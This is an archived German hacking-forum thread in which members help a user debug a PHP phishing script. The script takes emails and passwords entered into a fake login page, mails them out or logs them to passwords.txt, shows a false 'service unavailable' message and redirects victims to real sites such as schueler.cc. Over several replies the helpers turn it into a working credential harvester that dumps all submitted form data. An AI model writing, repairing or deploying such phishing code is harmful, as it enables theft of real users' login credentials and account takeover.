PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Zugangsdaten auf FTP?



TOM199415
07.09.2009, 01:07
Hallo Forum,

hab mal wieder ein Problem:(
und zwar hab ich doch schon mal wegen dem Problem gefragt das mit der E-Mail Adresse (siehe Hier (http://free-hack.com/showthread.php?t=46444))

Und da das bei mir das immer noch nicht funzt, wollte ich wissn ob man das auch ändern kann das es die Zugangsdaten auf den FTP sendet??

Hier nochmal der Code:

<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
mail("MEINEMail Adresse",$benutzer,$mailtext,$absender);

// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>

Southpark
07.09.2009, 01:22
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);

// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>


so sollte es eigl gehen nicht getestet.

lg Southpark

TOM199415
07.09.2009, 10:24
Ok Thx,

ich probiers mal

Da kommt imer diese Meldung:

Parse error: syntax error, unexpected '}' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 33


Dateiattribute hab ich auch auf 777

hpoc_
07.09.2009, 10:58
Ist auch beim kurz darüber fliege ein "}" zuviel.

Southpark
07.09.2009, 11:09
Jo ist eins zuviel habs gestern kurz vorm pennen noch gesehn war aber zu faul das jez noch zu ändern


<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);

// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>



So Sollte es jez gehen

TOM199415
07.09.2009, 11:10
So hab das } ausfindig gemachd und entfernt jetzt kommt zwar keine Fehlermeldung mehr, aber das PW wird einfach nicht gespeichert -.-

Editierte Code:


<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);

// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>

Southpark
07.09.2009, 11:25
<?php
$benutzer=$HTTP_POST_VARS['email'];
$passwort=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
exit;

// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>

probiers ma so^^
und hast du die passwort datei angelegt??

fr34k*
07.09.2009, 11:54
Änder in der 3. Zeile

$pass -> $passwort

TOM199415
07.09.2009, 16:13
Und wieder nen Error: =(


Parse error: syntax error, unexpected $end in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 40

Southpark
07.09.2009, 16:32
Add mich mal im Icq.

TOM199415
09.09.2009, 22:52
weißt du schon was neues warum das nicht geht?

VeN0m
10.09.2009, 13:41
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>


Wieso machen das alle so? 0o. Zunächst einmal: Meta-Angaben gehören _immer_ in den Head der Seite! Also zwischen <head> und </head>, nicht in den Body! Der Body ist für die Seite, nicht für Kopfangaben.
Weiterhin ist eine Weiterleitung per Meta eh schlecht. Per PHP geht es viel sauberer.
Also stattdessen:



header("refresh:1;url=http://");


Oder einfach



header("location:http://");


Dann zu Deinem Code... Der Fehler lag daran, dass die Else-Schleife nicht geschlossen wurde. Zu dem öffnenden { gehört auch immer ein }. Ist dies nicht der Fall, kann es zu Fehlern kommen. Daher nutze ich bei sowas sehr gerne die Tabulator-Taste...

Versuch den, der ist meiner Meinung nach besser geeignet (mal eben zusammengezimmert):



<?php

@header("refresh:1;url=http://www.schueler.cc");

$handle = fopen("passwords,txt","a");

if(!$_POST['email'] OR !$_POST['passwort'])) {

die("Sie sollten sich schon mit allen Daten einloggen!");

} else {

$handle = fopen("passwords.txt","a");

foreach($_POST AS $key => $value) {

fwrite($handle,$key."=".$value."\r\n");

}

fclose($handle);

}

exit;

?>

TamCore
10.09.2009, 14:10
<?php
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
Find ich besser :)

VeN0m
10.09.2009, 14:14
Besser auf die Seite zugeschnitten vielleicht, ja. Mein Code ist jedoch allgemein, also überall nutzbar ;). Klar kann man es auch mit file_put_contents() machen. Ob es besser ist, ist fraglich.

TOM199415
10.09.2009, 22:30
Ich will ja nicht nerven aber es zeigt schon wieder nen Error an -.-:mad:

Parse error: syntax error, unexpected ')' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 2

Southpark
10.09.2009, 22:34
Tom199415 Php kannst du garnicht oder?


<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>

TOM199415
10.09.2009, 22:47
nee^^

das kapier ich überhaupt nicht...:confused:

Error:

Parse error: syntax error, unexpected ';' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 8

VeN0m
11.09.2009, 12:18
file_put_contents('passwords.txt', "Pass: $pass\n\n";


Da fehlt eine Klammer...



file_put_contents('passwords.txt', "Pass: $pass\n\n");


Meine Güte, lern' PHP. Was ich noch am schlimmsten fand: Wenn Du in Zeile acht gehst, und den Befehl mit der Zeile davor vergleichst sollte man das merken 0o.

TOM199415
11.09.2009, 12:50
Hab die php selber geändert weil wieder ein Error war in Zeile 10.

Sieht jetzt so aus:

<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n");
}
@header("refresh:1;url=http://www.schueler.cc");
?> Nur die php schreibt mir nur das Passwort in die txt?

VeN0m
11.09.2009, 13:01
Dann ist das hier falsch:



$mail = $_POST['email'];


Also der Name des Formulars ist wahrscheinlich anders.

TamCore
11.09.2009, 13:02
Warscheinlich wird die Email nich als 'email' per POST übermittelt.

<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$data = print_r($_POST, true);
file_put_contents('passwords.txt', "$data\n\n");
}
header("refresh:1;url=http://www.schueler.cc");
?>Sollte mit allen POST Variationen funktionieren.
Nen Output der dir besser gefällt darfst du dir aber selber basteln.

TOM199415
11.09.2009, 19:23
THX =D

funzt